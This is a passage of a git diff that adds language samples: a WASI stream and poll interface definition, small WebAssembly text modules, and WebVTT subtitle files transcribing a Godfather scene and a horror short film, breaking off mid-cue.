+    /// available, which could even be zero. To wait for data to be available,
+    /// use the `subscribe-to-input-stream` function to obtain a `pollable` which
+    /// can be polled for using `wasi_poll`.
+    ///
+    /// And at present, it is a `u32` instead of being an actual handle, until
+    /// the wit-bindgen implementation of handles and resources is ready.
+    ///
+    /// This [represents a resource](https://github.com/WebAssembly/WASI/blob/main/docs/WitInWasi.md#Resources).
+    type input-stream = u32
+
+    /// Read bytes from a stream.
+    ///
+    /// This function returns a list of bytes containing the data that was
+    /// read, along with a bool which, when true, indicates that the end of the
+    /// stream was reached. The returned list will contain up to `len` bytes; it
+    /// may return fewer than requested, but not more.
+    ///
+    /// Once a stream has reached the end, subsequent calls to read or
+    /// `skip` will always report end-of-stream rather than producing more
+    /// data.
+    ///
+    /// If `len` is 0, it represents a request to read 0 bytes, which should
+    /// always succeed, assuming the stream hasn't reached its end yet, and
+    /// return an empty list.
+    ///
+    /// The len here is a `u64`, but some callees may not be able to allocate
+    /// a buffer as large as that would imply.
+    /// FIXME: describe what happens if allocation fails.
+    read: func(
+        this: input-stream,
+        /// The maximum number of bytes to read
+        len: u64
+    ) -> result<tuple<list<u8>, bool>, stream-error>
+
+    /// Read bytes from a stream, with blocking.
+    ///
+    /// This is similar to `read`, except that it blocks until at least one
+    /// byte can be read.
+    blocking-read: func(
+        this: input-stream,
+        /// The maximum number of bytes to read
+        len: u64
+    ) -> result<tuple<list<u8>, bool>, stream-error>
+
+    /// Skip bytes from a stream.
+    ///
+    /// This is similar to the `read` function, but avoids copying the
+    /// bytes into the instance.
+    ///
+    /// Once a stream has reached the end, subsequent calls to read or
+    /// `skip` will always report end-of-stream rather than producing more
+    /// data.
+    ///
+    /// This function returns the number of bytes skipped, along with a bool
+    /// indicating whether the end of the stream was reached. The returned
+    /// value will be at most `len`; it may be less.
+    skip: func(
+        this: input-stream,
+        /// The maximum number of bytes to skip.
+        len: u64,
+    ) -> result<tuple<u64, bool>, stream-error>
+
+    /// Skip bytes from a stream, with blocking.
+    ///
+    /// This is similar to `skip`, except that it blocks until at least one
+    /// byte can be consumed.
+    blocking-skip: func(
+        this: input-stream,
+        /// The maximum number of bytes to skip.
+        len: u64,
+    ) -> result<tuple<u64, bool>, stream-error>
+
+    /// Create a `pollable` which will resolve once either the specified stream
+    /// has bytes available to read or the other end of the stream has been
+    /// closed.
+    subscribe-to-input-stream: func(this: input-stream) -> pollable
+
+    /// Dispose of the specified `input-stream`, after which it may no longer
+    /// be used.
+    drop-input-stream: func(this: input-stream)
+
+    /// An output bytestream. In the future, this will be replaced by handle
+    /// types.
+    ///
+    /// This conceptually represents a `stream<u8, _>`. It's temporary
+    /// scaffolding until component-model's async features are ready.
+    ///
+    /// `output-stream`s are *non-blocking* to the extent practical on
+    /// underlying platforms. Except where specified otherwise, I/O operations also
+    /// always return promptly, after the number of bytes that can be written
+    /// promptly, which could even be zero. To wait for the stream to be ready to
+    /// accept data, the `subscribe-to-output-stream` function to obtain a
+    /// `pollable` which can be polled for using `wasi_poll`.
+    ///
+    /// And at present, it is a `u32` instead of being an actual handle, until
+    /// the wit-bindgen implementation of handles and resources is ready.
+    ///
+    /// This [represents a resource](https://github.com/WebAssembly/WASI/blob/main/docs/WitInWasi.md#Resources).
+    type output-stream = u32
+
+    /// Write bytes to a stream.
+    ///
+    /// This function returns a `u64` indicating the number of bytes from
+    /// `buf` that were written; it may be less than the full list.
+    write: func(
+        this: output-stream,
+        /// Data to write
+        buf: list<u8>
+    ) -> result<u64, stream-error>
+
+    /// Write bytes to a stream, with blocking.
+    ///
+    /// This is similar to `write`, except that it blocks until at least one
+    /// byte can be written.
+    blocking-write: func(
+        this: output-stream,
+        /// Data to write
+        buf: list<u8>
+    ) -> result<u64, stream-error>
+
+    /// Write multiple zero bytes to a stream.
+    ///
+    /// This function returns a `u64` indicating the number of zero bytes
+    /// that were written; it may be less than `len`.
+    write-zeroes: func(
+        this: output-stream,
+        /// The number of zero bytes to write
+        len: u64
+    ) -> result<u64, stream-error>
+
+    /// Write multiple zero bytes to a stream, with blocking.
+    ///
+    /// This is similar to `write-zeroes`, except that it blocks until at least
+    /// one byte can be written.
+    blocking-write-zeroes: func(
+        this: output-stream,
+        /// The number of zero bytes to write
+        len: u64
+    ) -> result<u64, stream-error>
+
+    /// Read from one stream and write to another.
+    ///
+    /// This function returns the number of bytes transferred; it may be less
+    /// than `len`.
+    ///
+    /// Unlike other I/O functions, this function blocks until all the data
+    /// read from the input stream has been written to the output stream.
+    splice: func(
+        this: output-stream,
+        /// The stream to read from
+        src: input-stream,
+        /// The number of bytes to splice
+        len: u64,
+    ) -> result<tuple<u64, bool>, stream-error>
+
+    /// Read from one stream and write to another, with blocking.
+    ///
+    /// This is similar to `splice`, except that it blocks until at least
+    /// one byte can be read.
+    blocking-splice: func(
+        this: output-stream,
+        /// The stream to read from
+        src: input-stream,
+        /// The number of bytes to splice
+        len: u64,
+    ) -> result<tuple<u64, bool>, stream-error>
+
+    /// Forward the entire contents of an input stream to an output stream.
+    ///
+    /// This function repeatedly reads from the input stream and writes
+    /// the data to the output stream, until the end of the input stream
+    /// is reached, or an error is encountered.
+    ///
+    /// Unlike other I/O functions, this function blocks until the end
+    /// of the input stream is seen and all the data has been written to
+    /// the output stream.
+    ///
+    /// This function returns the number of bytes transferred.
+    forward: func(
+        this: output-stream,
+        /// The stream to read from
+        src: input-stream
+    ) -> result<u64, stream-error>
+
+    /// Create a `pollable` which will resolve once either the specified stream
+    /// is ready to accept bytes or the other end of the stream has been closed.
+    subscribe-to-output-stream: func(this: output-stream) -> pollable
+
+    /// Dispose of the specified `output-stream`, after which it may no longer
+    /// be used.
+    drop-output-stream: func(this: output-stream)
+}
+
+/// A poll API intended to let users wait for I/O events on multiple handles
+/// at once.
+default interface poll {
+    /// A "pollable" handle.
+    ///
+    /// This is conceptually represents a `stream<_, _>`, or in other words,
+    /// a stream that one can wait on, repeatedly, but which does not itself
+    /// produce any data. It's temporary scaffolding until component-model's
+    /// async features are ready.
+    ///
+    /// And at present, it is a `u32` instead of being an actual handle, until
+    /// the wit-bindgen implementation of handles and resources is ready.
+    ///
+    /// `pollable` lifetimes are not automatically managed. Users must ensure
+    /// that they do not outlive the resource they reference.
+    ///
+    /// This [represents a resource](https://github.com/WebAssembly/WASI/blob/main/docs/WitInWasi.md#Resources).
+    type pollable = u32
+
+    /// Dispose of the specified `pollable`, after which it may no longer
+    /// be used.
+    drop-pollable: func(this: pollable)
+
+    /// Poll for completion on a set of pollables.
+    ///
+    /// The "oneoff" in the name refers to the fact that this function must do a
+    /// linear scan through the entire list of subscriptions, which may be
+    /// inefficient if the number is large and the same subscriptions are used
+    /// many times. In the future, this is expected to be obsoleted by the
+    /// component model async proposal, which will include a scalable waiting
+    /// facility.
+    ///
+    /// Note that the return type would ideally be `list<bool>`, but that would
+    /// be more difficult to polyfill given the current state of `wit-bindgen`.
+    /// See <https://github.com/bytecodealliance/preview2-prototyping/pull/11#issuecomment-1329873061>
+    /// for details.  For now, we use zero to mean "not ready" and non-zero to
+    /// mean "ready".
+    poll-oneoff: func(in: list<pollable>) -> list<u8>
+}
diff --git a/samples/WebAssembly/add.wat b/samples/WebAssembly/add.wat
new file mode 100644
index 0000000000..bbb69d98b2
--- /dev/null
+++ b/samples/WebAssembly/add.wat
@@ -0,0 +1,14 @@
+(module
+  (import "env" "printInt" (func $printInt (param i32)))
+  (func $add (param $lhs i32) (param $rhs i32) (result i32)
+    get_local $lhs
+    get_local $rhs
+    i32.add
+  )
+
+  (func $main
+    (call $printInt
+      (call $add (i32.const 9) (i32.const 8))))
+
+  (export "main" (func $main))
+)
diff --git a/samples/WebAssembly/fibonacci.wat b/samples/WebAssembly/fibonacci.wat
new file mode 100644
index 0000000000..179f6bf58a
--- /dev/null
+++ b/samples/WebAssembly/fibonacci.wat
@@ -0,0 +1,41 @@
+(module
+  (import "env" "printInt" (func $printInt (param i32)))
+  (import "env" "print" (func $print (param i32 i32)))
+
+  (memory $memory 1)
+  (data (i32.const 0) "\n")
+  (data (i32.const 1) " ")
+
+  (func $endl
+    (call $print (i32.const 0) (i32.const 1)))
+  (func $space
+    (call $print (i32.const 1) (i32.const 1)))
+
+  (func $fibonacci_rec (param $a i32) (param $b i32) (param $n i32) (result i32)
+    (if (i32.eqz (get_local $n)) (return (get_local $a)))
+    (call $printInt (get_local $b))
+    (call $space)
+    (set_local $a (i32.add (get_local $a) (get_local $b)))
+    (call $fibonacci_rec (get_local $b) (get_local $a) (i32.sub (get_local $n) (i32.const 1)))
+  )
+
+  (func $fibonacci_iter (param $a i32) (param $b i32) (param $n i32) (result i32)
+    (loop $fi
+      (if (i32.eqz (get_local $n)) (return (get_local $a)))
+      (call $printInt (get_local $b))
+      (call $space)
+      (set_local $b (i32.add (get_local $a) (get_local $b)))
+      (set_local $a (i32.sub (get_local $b) (get_local $a)))
+      (set_local $n (i32.sub (get_local $n) (i32.const 1)))
+      (br $fi))
+    (get_local $b))
+
+  (func $main
+    (drop (call $fibonacci_rec (i32.const 0) (i32.const 1) (i32.const 9)))
+    (call $endl)
+    (drop (call $fibonacci_iter (i32.const 0) (i32.const 1) (i32.const 9))))
+
+  (export "main" (func $main))
+  (export "memory" (memory $memory))
+)
+
diff --git a/samples/WebAssembly/imported-min.wast b/samples/WebAssembly/imported-min.wast
new file mode 100644
index 0000000000..8972a2ee1e
--- /dev/null
+++ b/samples/WebAssembly/imported-min.wast
@@ -0,0 +1,48 @@
+(module
+  (memory 256 256)
+  (data (i32.const 10) "waka waka waka waka waka")
+  ;; stack imports are special
+  (import "env" "STACKTOP" (global $STACKTOP$asm2wasm$import i32))
+  (import "env" "STACK_MAX" (global $STACK_MAX$asm2wasm$import i32))
+  ;; other imports must not be touched!
+  (import "env" "tempDoublePtr" (global $tempDoublePtr i32))
+  (export "test1" $test1)
+  (export "test2" $test2)
+  (export "test3" $test3)
+  ;; ok to modify a global, if we keep it the same value
+  (global $mine (mut i32) (i32.const 1))
+  ;; stack imports are ok to use. their uses are the same as other
+  ;; globals - must keep the same value (which means, unwind the stack)
+  ;; here the global names are "minified"
+  (global $global0 (mut i32) (get_global $STACKTOP$asm2wasm$import))
+  (global $global1 (mut i32) (get_global $STACK_MAX$asm2wasm$import))
+  ;; a global initialized by an import, so bad, but ok if not used
+  (global $do-not-use (mut i32) (get_global $tempDoublePtr))
+  (func $test1
+    (local $temp i32)
+    (set_global $mine (i32.const 1))
+    (set_local $temp (get_global $global0))
+    (set_global $global0 (i32.const 1337)) ;; bad
+    (set_global $global0 (get_local $temp)) ;; save us
+    (set_global $global1 (i32.const 913370)) ;; bad
+    (set_global $global1 (get_local $temp)) ;; save us
+    ;; use the stack memory
+    (i32.store (get_local $temp) (i32.const 1337))
+    (if
+      (i32.ne
+        (i32.load (get_local $temp))
+        (i32.const 1337)
+      )
+      (unreachable) ;; they should be equal, never get here
+    )
+    ;; finally, do a valid store
+    (i32.store8 (i32.const 12) (i32.const 115))
+  )
+  (func $test2
+    (set_global $tempDoublePtr (i32.const 1)) ;; bad!
+    (i32.store8 (i32.const 13) (i32.const 115))
+  )
+  (func $test3
+    (i32.store8 (i32.const 14) (i32.const 115))
+  )
+)
diff --git a/samples/WebAssembly/local-cse.wast b/samples/WebAssembly/local-cse.wast
new file mode 100644
index 0000000000..26a25d236f
--- /dev/null
+++ b/samples/WebAssembly/local-cse.wast
@@ -0,0 +1,164 @@
+(module
+  (memory 100 100)
+  (func $basics
+    (local $x i32)
+    (local $y i32)
+    (drop
+      (i32.add (i32.const 1) (i32.const 2))
+    )
+    (drop
+      (i32.add (i32.const 1) (i32.const 2))
+    )
+    (if (i32.const 0) (nop))
+    (drop ;; we can't do this yet, non-linear
+      (i32.add (i32.const 1) (i32.const 2))
+    )
+    (drop
+      (i32.add (get_local $x) (get_local $y))
+    )
+    (drop
+      (i32.add (get_local $x) (get_local $y))
+    )
+    (drop
+      (i32.add (get_local $x) (get_local $y))
+    )
+    (call $basics) ;; side effects, but no matter for our locals
+    (drop
+      (i32.add (get_local $x) (get_local $y))
+    )
+    (set_local $x (i32.const 100))
+    (drop ;; x was changed!
+      (i32.add (get_local $x) (get_local $y))
+    )
+  )
+  (func $recursive1
+    (local $x i32)
+    (local $y i32)
+    (drop
+      (i32.add
+        (i32.const 1)
+        (i32.add
+          (i32.const 2)
+          (i32.const 3)
+        )
+      )
+    )
+    (drop
+      (i32.add
+        (i32.const 1)
+        (i32.add
+          (i32.const 2)
+          (i32.const 3)
+        )
+      )
+    )
+    (drop
+      (i32.add
+        (i32.const 2)
+        (i32.const 3)
+      )
+    )
+  )
+  (func $recursive2
+    (local $x i32)
+    (local $y i32)
+    (drop
+      (i32.add
+        (i32.const 1)
+        (i32.add
+          (i32.const 2)
+          (i32.const 3)
+        )
+      )
+    )
+    (drop
+      (i32.add
+        (i32.const 2)
+        (i32.const 3)
+      )
+    )
+    (drop
+      (i32.add
+        (i32.const 1)
+        (i32.add
+          (i32.const 2)
+          (i32.const 3)
+        )
+      )
+    )
+  )
+  (func $self
+    (local $x i32)
+    (local $y i32)
+    (drop
+      (i32.add
+        (i32.add
+          (i32.const 2)
+          (i32.const 3)
+        )
+        (i32.add
+          (i32.const 2)
+          (i32.const 3)
+        )
+      )
+    )
+    (drop
+      (i32.add
+        (i32.const 2)
+        (i32.const 3)
+      )
+    )
+  )
+  (func $loads
+    (drop
+      (i32.load (i32.const 10))
+    )
+    (drop
+      (i32.load (i32.const 10)) ;; implicit traps, sad
+    )
+  )
+  (func $8 (param $var$0 i32) (result i32)
+    (local $var$1 i32)
+    (local $var$2 i32)
+    (local $var$3 i32)
+    (block $label$0 i32
+      (i32.store
+        (tee_local $var$2
+          (i32.add
+            (get_local $var$1)
+            (i32.const 4)
+          )
+        )
+        (i32.and
+          (i32.load
+            (get_local $var$2)
+          )
+          (i32.xor
+            (tee_local $var$2
+              (i32.const 74)
+            )
+            (i32.const -1)
+          )
+        )
+      )
+      (i32.store
+        (tee_local $var$1
+          (i32.add
+            (get_local $var$1)
+            (i32.const 4)
+          )
+        )
+        (i32.or
+          (i32.load
+            (get_local $var$1)
+          )
+          (i32.and
+            (get_local $var$2)
+            (i32.const 8)
+          )
+        )
+      )
+      (i32.const 0)
+    )
+  )
+)
diff --git a/samples/WebAssembly/print.wat b/samples/WebAssembly/print.wat
new file mode 100644
index 0000000000..3f71669b30
--- /dev/null
+++ b/samples/WebAssembly/print.wat
@@ -0,0 +1,23 @@
+(module
+  (import "env" "printInt" (func $printInt (param i32)))
+  (import "env" "printFloat" (func $printFloat (param f32)))
+  (import "env" "print" (func $print (param i32 i32)))
+
+  (memory $memory 1)
+  (data (i32.const 0) "\n")
+  (data (i32.const 1) "Hello World!")
+
+  (func $endl
+    (call $print (i32.const 0) (i32.const 1)))
+
+  (func $main
+    (call $printInt (i32.const 9))
+    (call $endl)
+    (call $printFloat (f32.const 6.28))
+    (call $endl)
+    (call $print (i32.const 1) (i32.const 12))
+    )
+
+  (export "main" (func $main))
+  (export "memory" (memory $memory))
+)
diff --git a/samples/WebAssembly/remove-unused-brs_shrink-level=1_ignore-implicit-traps.wast b/samples/WebAssembly/remove-unused-brs_shrink-level=1_ignore-implicit-traps.wast
new file mode 100644
index 0000000000..c0ec7d4cdc
--- /dev/null
+++ b/samples/WebAssembly/remove-unused-brs_shrink-level=1_ignore-implicit-traps.wast
@@ -0,0 +1,81 @@
+(module
+  (memory 256 256)
+  (type $0 (func (param i32)))
+  (type $1 (func))
+  (type $2 (func (result i32)))
+  (func $b14 (type $2)
+    (drop
+      (if i32 ;; with shrinking, this can become a select
+        (i32.const 1)
+        (block $block1 i32
+          (i32.const 12)
+        )
+        (block $block3 i32
+          (i32.const 27)
+        )
+      )
+    )
+    (drop
+      (if i32
+        (i32.const 1)
+        (i32.load (i32.const 10)) ;; load may have side effects, unless ignored
+        (i32.const 27)
+      )
+    )
+    (drop
+      (if i32
+        (i32.const 1)
+        (i32.rem_s (i32.const 11) (i32.const 12)) ;; rem may have side effects, unless ignored
+        (i32.const 27)
+      )
+    )
+    (drop
+      (if i32
+        (i32.const 1)
+        (i32.trunc_u/f64 (f64.const 12.34)) ;; float to int may have side effects, unless ignored
+        (i32.const 27)
+      )
+    )
+    (i32.const 0)
+  )
+  (func $join-br_ifs
+    (block $out
+      (br_if $out (i32.const 1))
+      (br_if $out (i32.const 2))
+      (br_if $out (i32.const 3))
+    )
+    (block $out2
+      (block $out3
+        (br_if $out2 (i32.const 1))
+        (br_if $out3 (i32.const 2))
+        (br_if $out2 (i32.const 3))
+      )
+      (unreachable)
+    )
+    (block $out4
+      (block $out5
+        (br_if $out4 (i32.const 1))
+        (br_if $out5 (i32.const 2))
+        (br_if $out5 (i32.const 3))
+      )
+      (unreachable)
+    )
+    (block $out6
+      (block $out7
+        (br_if $out6 (i32.const 1))
+        (br_if $out6 (i32.const 2))
+        (br_if $out7 (i32.const 3))
+      )
+      (unreachable)
+    )
+    (block $out8
+      (br_if $out8 (call $b14)) ;; side effect
+      (br_if $out8 (i32.const 0))
+    )
+    (block $out8
+      (br_if $out8 (i32.const 1))
+      (br_if $out8 (call $b14)) ;; side effect
+    )
+  )
+)
+
diff --git a/samples/WebVTT/Godfather-Restaurant-Scene.vtt b/samples/WebVTT/Godfather-Restaurant-Scene.vtt
new file mode 100644
index 0000000000..dc8bcc2e14
--- /dev/null
+++ b/samples/WebVTT/Godfather-Restaurant-Scene.vtt
@@ -0,0 +1,162 @@
+WEBVTT Language: en-US
+
+NOTE The timecode below needs to start at 01:24:32.732
+
+01:20:37.600 --> 01:20:39.764
+<v McCluskey>How's the Italian food in this restaurant?
+
+01:20:39.804 --> 01:20:41.386
+<v Sollozzo>Good. Try the veal.
+
+01:20:41.427 --> 01:20:44.032
+- <v Sollozzo>It's the best in the city.</v>
+- <v McCluskey>I'll have it.</v>
+
+01:20:45.809 --> 01:20:47.009
+<v Sollozzo><lang it>Capide?</lang>
+<i.translation>[Understand?]</i>
+
+01:21:18.600 --> 01:21:21.370
+<v Sollozzo>I'm gonna speak Italian to Mike.
+
+01:21:21.371 --> 01:21:22.210
+<v McCluskey>Go ahead.
+
+NOTE
+The following translations were posted by two Italian YouTubers correcting
+a botched translation attempt of this scene: https://youtu.be/AKBcRU5tPco
+
+01:21:28.000 --> 01:21:29.381
+<v Sollozzo><lang scn>Mi dispiace—</lang>
+<i.translation>[I'm sorry about—]</i>
+
+01:21:28.000 --> 01:21:29.381
+<v Michael><lang scn>U Sai.</lang>
+<i.translation>[Forget it.]</i>
+
+01:21:33.182 --> 01:21:39.571
+<v Sollozzo><lang scn>Tu ai sapiri ca chiddu che e' successo tra mi e tu' padri fu una cosa di "bizunis".</lang>
+<i.translation>[You know what happened between me and your father was just business?]</i>
+
+01:21:40.612 --> 01:21:43.593
+<v Sollozzo><lang scn>Eu aiu un grosso rispettu pi tu' padri</lang>
+<i.translation>[I have great respect for your father]</i>
+
+01:21:43.634 --> 01:21:47.033
+<v Sollozzo><lang scn>ma tu' padri pensa a l'antica e tu nun.</lang>
+<i.translation>but his way of thinking is old-fashioned.</i>
+
+01:21:48.013 --> 01:21:52.968
+<v Sollozzo><lang scn>Lo vo' capiri che eu sono un uomo di onore.</lang>
+<i.translation>[You have to understand that I am a man of honor.]</i>
+
+01:21:53.009 --> 01:21:57.969
+<v Michael><lang scn>Di sti' cosi, li sacciu.</lang>
+<i.translation>[Don't tell me these things. I know.]</i>
+
+01:21:58.010 --> 01:21:59.210
+<v Sollozzo><lang scn>Lo sai?</lang>
+<i.translation>[You know?]</i>
+
+01:22:10.782 --> 01:22:16.397
+<v Sollozzo><lang scn>E tu ai sapiri che eu ho auitato la famiglia Tataglia.</lang>
+<i.translation>[And you understand that I have helped the Tattaglia family.]</i>
+
+01:22:17.805 --> 01:22:21.807
+<v Sollozzo><lang scn>Io credu che ci potemu mettere in accordo.</lang>
+<i.translation>[I think we can come to an agreement.]</i>
+
+01:22:22.601 --> 01:22:24.393
+<v Sollozzo><lang scn>Io voglio pace</lang>
+<i.translation>[I want peace]</i>
+
+01:22:24.794 --> 01:22:27.747
+<v Sollozzo><lang scn>e lasciamo perdere cu tutti sti cazzati.</lang>
+<i.translation>[and we can drop all this crap.]</i>
+
+01:22:27.788 --> 01:22:29.588
+<v Michael><lang scn>Ma vogghiu ca...</lang>
+<i.translation>[But I want...]</i>
+
+01:22:31.401 --> 01:22:32.393
+<v Sollozzo><lang scn>Che?</lang>
+<i.translation>[What?]</i>
+
+01:22:34.007 --> 01:22:35.791
+<v Michael><lang scn>Come se dice...?</lang>
+<i.translation>[How do you say...?]</i>
+
+01:22:38.000 --> 01:22:39.809
+<v Michael>What I want...
+
+01:22:40.800 --> 01:22:42.994
+<v Michael>...what's most important to me...
+
+01:22:45.400 --> 01:22:49.392
+<v Michael>...is that I have a guarantee: no more attempts on my father's life.
+
+01:22:49.440 --> 01:22:53.799
+<v Sollozzo>What guarantees could I give you? I am the hunted one.
+
+01:22:54.000 --> 01:22:57.390
+<v Sollozzo>I missed my chance. You think too much of me, kid.
+
+01:22:57.440 --> 01:22:59.636
+<v Sollozzo>I'm not that clever.
+
+01:23:00.800 --> 01:23:03.216
+<v Sollozzo>All I want is a truce.
+
+01:23:09.400 --> 01:23:12.989
+<v Michael>I have to go to the bathroom. Is that all right?
+
+01:23:14.200 --> 01:23:17.392
+<v McCluskey>You gotta go, you gotta go.
+
+01:23:22.000 --> 01:23:23.759
+<v McCluskey>I frisked him. He's clean.
+
+01:23:23.800 --> 01:23:25.607
+<v Sollozzo>Don't take too long.
+
+01:23:28.800 --> 01:23:30.996
+<v McCluskey>I've frisked a thousand young punks.
+
+NOTE
+After Michael returns from the bathroom with a concealed firearm
+
+01:24:43.585 --> 01:24:45.391
+<v Sollozzo><lang scn>Ti senti megghiu?</lang>
+<i.translation>[You feel better?]</i>
+
+01:24:47.212 --> 01:24:49.145
+<v Sollozzo><lang scn>Micheluzzo, tu mi capisci, no?</lang>
+<i.translation>[Little Michael, you understand me, don't you?]</i>
+
+01:24:49.217 --> 01:24:51.818
+<v Sollozzo><lang scn>Si' Italiano come tu' padri.</lang>
+<i.translation>[You're Italian like your father.]</i>
+
+01:24:53.210 --> 01:24:55.588
+<v Sollozzo><lang scn>Tu' padri sta mali.</lang>
+<i.translation>[Your father is sick.]</i>
+
+01:24:57.188 --> 01:24:58.816
+<v Sollozzo><lang scn>Quando iddru sta megghiu</lang>
+<i.translation>[When he gets better]</i>
+
+NOTE (The word after "megghiu" was too unclear for the Sicilian translator to make out)
+
+01:24:58.840 --> 01:25:01.440
+<v Sollozzo><lang scn>di fari un riunioni</lang>
+<i.translation>[we arrange a meeting]</i>
+
+01:25:01.465 --> 01:25:03.303
+<v Sollozzo><lang scn>e mettiamo tutto apposto.</lang>
+<i.translation>[and put everything in place.]</i>
+
+NOTE (Again, a few Sicilian words here were unintelligible.)
+
+01:25:04.397 --> 01:25:07.596
+<v Sollozzo><lang scn>Si deve finiri.</lang>
+<i.translation>[This foolishness must end.]</i>
diff --git a/samples/WebVTT/Russian-Sleep-Experiment.vtt b/samples/WebVTT/Russian-Sleep-Experiment.vtt
new file mode 100644
index 0000000000..4ccfd91242
--- /dev/null
+++ b/samples/WebVTT/Russian-Sleep-Experiment.vtt
@@ -0,0 +1,564 @@
+WEBVTT
+Kind: captions
+Language: en
+
+NOTE
+The short film from which these subtitles were taken
+can be found on YouTube: http://youtu.be/zr4C_cLgXR0
+
+00:02:38.400 --> 00:02:45.239
+<v Scientist>Good evening, please state your name, age and weight.
+
+00:02:45.239 --> 00:02:50.910
+<v Felix>Felix Nast, age 41 years, 58 kilos.
+
+00:02:50.910 --> 00:02:57.439
+<v Ulrich>Ulrich Shultz, age 29, 71 kilos.
+
+00:02:57.439 --> 00:03:03.260
+<v Hanz>Hanz Berlitz, age 19, 68 kilos.
+
+00:03:03.260 --> 00:03:05.470
+<v Scientist>Very good.
+
+00:03:05.470 --> 00:03:10.900
+<v Scientist>You gentlemen are about to undergo an experiment
+that will benefit the soldiers of the Soviet Union.
+
+00:03:12.480 --> 00:03:17.709
+<v Scientist>You will be given a gas that our nations leading
+scientists have been working on.
+
+00:03:17.709 --> 00:03:22.769
+<v Scientist>All we know is that it is not lethal and you
+will be in no physical harm throughout the
+
+00:03:22.769 --> 00:03:26.760
+<v Scientist>duration of the experiment.
+
+00:03:26.760 --> 00:03:28.819
+<v Scientist>Upon completion of this experiment.
+
+00:03:28.819 --> 00:03:33.129
+<v Scientist>You will be granted your freedom and returned
+to your homeland.
+
+00:03:33.129 --> 00:03:35.860
+<v Scientist>Do you comply?
+
+00:03:35.860 --> 00:03:41.720
+<v Scientist>Reminder, those who do not comply will be
+immediately executed for your crimes against
+
+00:03:41.720 --> 00:03:47.400
+<v Scientist>humanity and the Soviet Union.
+
+00:03:47.400 --> 00:03:50.700
+<v Scientist>I'll ask you once more gentlemen, do you comply?
+
+00:03:52.880 --> 00:03:54.060
+<v Scientist>Very good.
+
+00:03:55.120 --> 00:03:59.180
+<v Scientist>We will administer the gas in a few moments.
+
+00:03:59.190 --> 00:04:03.700
+<v Scientist>Please, get acquainted with your new home.
+
+00:04:13.800 --> 00:04:17.510
+<v Scientist>You will all notice that you have enough food
+for the duration of the experiment.
+
+00:04:18.440 --> 00:04:23.400
+<v Scientist>You will find comfort on the floor as you
+had in your cell.
+
+00:04:23.400 --> 00:04:28.080
+<v Scientist>Books for entertainment, a toilet for the obvious.
+
+00:04:28.740 --> 00:04:34.660
+<v Scientist>Also, no one will be entering the room once
+the gas has been released so it is up to you
+
+00:04:34.660 --> 00:04:38.740
+<v Scientist>to keep your living quarters, liveable.
+
+00:04:40.180 --> 00:04:42.160
+<v Scientist>The gas has been administered.
+
+00:04:53.800 --> 00:04:59.140
+<v Felix>Sure is different on the other side of the gas.
+
+00:04:59.560 --> 00:05:03.100
+<v Scientist>Day one, the first batch of gas has been released.
+
+00:05:03.100 --> 00:05:03.600
+<v Scientist>Normal behaviour resumes.
+
+00:05:33.780 --> 00:05:39.600
+<v Felix>Boy, your name is Hanz?
+
+00:05:39.620 --> 00:05:41.560
+<v Hanz>Yes.
+
+00:05:41.560 --> 00:05:47.760
+<v Felix>Well Hanz, it is so nice to see the face of
+the boy who has been crying in the cell next
+
+00:05:47.800 --> 00:05:51.840
+<v Felix>to me the past three months.
+
+00:05:54.040 --> 00:06:00.800
+<v Felix>Oh come on now, don't you think we should
+all be friends while we are here?
+
+00:06:02.160 --> 00:06:12.000
+<v Felix>Let me guess, your father was a good hard
+working man taken too soon.
+
+00:06:12.000 --> 00:06:17.560
+<v Felix>Your mother was a housekeeper.
+
+00:06:17.560 --> 00:06:24.640
+<v Felix>And you were the youngest of four children,
+the runt of the pack.
+
+00:06:24.640 --> 00:06:30.840
+<v Felix>You joined the war to prove something of yourself
+only to end up a victim of circumstance.
+
+00:06:30.840 --> 00:06:33.680
+<v Felix>Am I right?
+
+00:06:33.680 --> 00:06:37.070
+<v Hanz>I was the youngest of three children.
+
+00:06:37.080 --> 00:06:40.600
+<v Felix>Ah, I was close.
+
+00:06:40.600 --> 00:06:49.600
+<v Felix>What about you, Ulrich is it?
+
+00:06:49.720 --> 00:06:56.000
+<v Felix>Well Hanz, I will tell you my story if you
+tell me yours.
+
+00:06:56.020 --> 00:06:57.980
+<v Hanz>Ok.
+
+00:06:57.980 --> 00:07:10.030
+<v Felix>Well, I was a top SS scientist specialising
+in information extraction and experimentation.
+
+00:07:10.030 --> 00:07:13.170
+<v Felix>I took great pride in my work.
+
+00:07:13.170 --> 00:07:17.880
+<v Felix>It was almost therapeutic.
+
+00:07:17.880 --> 00:07:22.020
+<v Felix>I can still see the faces of the men.
+
+00:07:22.020 --> 00:07:25.280
+<v Felix>I extracted fingernails, teeth.
+
+00:07:26.800 --> 00:07:32.960
+<v Felix>How quickly they would rat out their own families
+to save their lives.
+
+00:07:32.960 --> 00:07:37.920
+<v Felix>Ah, such lowly dogs.
+
+00:07:40.600 --> 00:07:42.840
+<v Felix>Your turn.
+
+00:07:42.840 --> 00:07:48.600
+<v Hanz>I was stationed just outside of Berlin.
+
+00:07:48.600 --> 00:07:55.930
+<v Hanz>I didn't see much of the war, just the end of it.
+
+00:07:55.930 --> 00:07:59.120
+<v Hanz>I was appointed guard duty one night,
+
+00:07:59.120 --> 00:08:15.250
+<v Hanz>and I was supposed to stay awake for the
+duration of the night, but I fell asleep.
+
+00:08:15.250 --> 00:08:26.200
+<v Hanz>When I awoke, everyone was slaughtered.
+
+00:08:26.200 --> 00:08:41.320
+<v Hanz>I ran as fast and as far as I could but they
+caught me. Took me to a prison where I sat
+
+00:08:41.320 --> 00:08:47.160
+<v Hanz>for three months until I ended up here.
+
+00:08:47.160 --> 00:08:51.840
+<v Felix>I thought as much.
+
+00:08:55.240 --> 00:08:59.040
+<v Hanz>Whats your story?
+
+00:09:15.000 --> 00:09:20.680
+<v Scientist>The gas has been active for four days, and
+although none of them have slept for the past
+
+00:09:20.720 --> 00:09:24.320
+<v Scientist>four days, normal behaviour resumes.
+
+00:09:24.320 --> 00:09:27.920
+<v Scientist>The gas seems to be quite effective.
+
+00:09:39.320 --> 00:09:44.280
+<v Felix>These anatomy books are embarrassingly inaccurate.
+
+00:09:44.880 --> 00:09:48.880
+<v Felix>It is no wonder these Russians are so barbaric.
+
+00:09:54.800 --> 00:09:59.520
+<v Felix>They killed your father, didn't they?
+
+00:10:03.000 --> 00:10:03.500
+<v Felix><lang de>Bitte!</lang>
+
+00:10:03.720 --> 00:10:04.220
+<v Scientist><i>Ulrich Shultz!</i>
+
+00:10:04.720 --> 00:10:05.220
+<v Hanz>Ulrich!
+
+00:10:05.560 --> 00:10:09.080
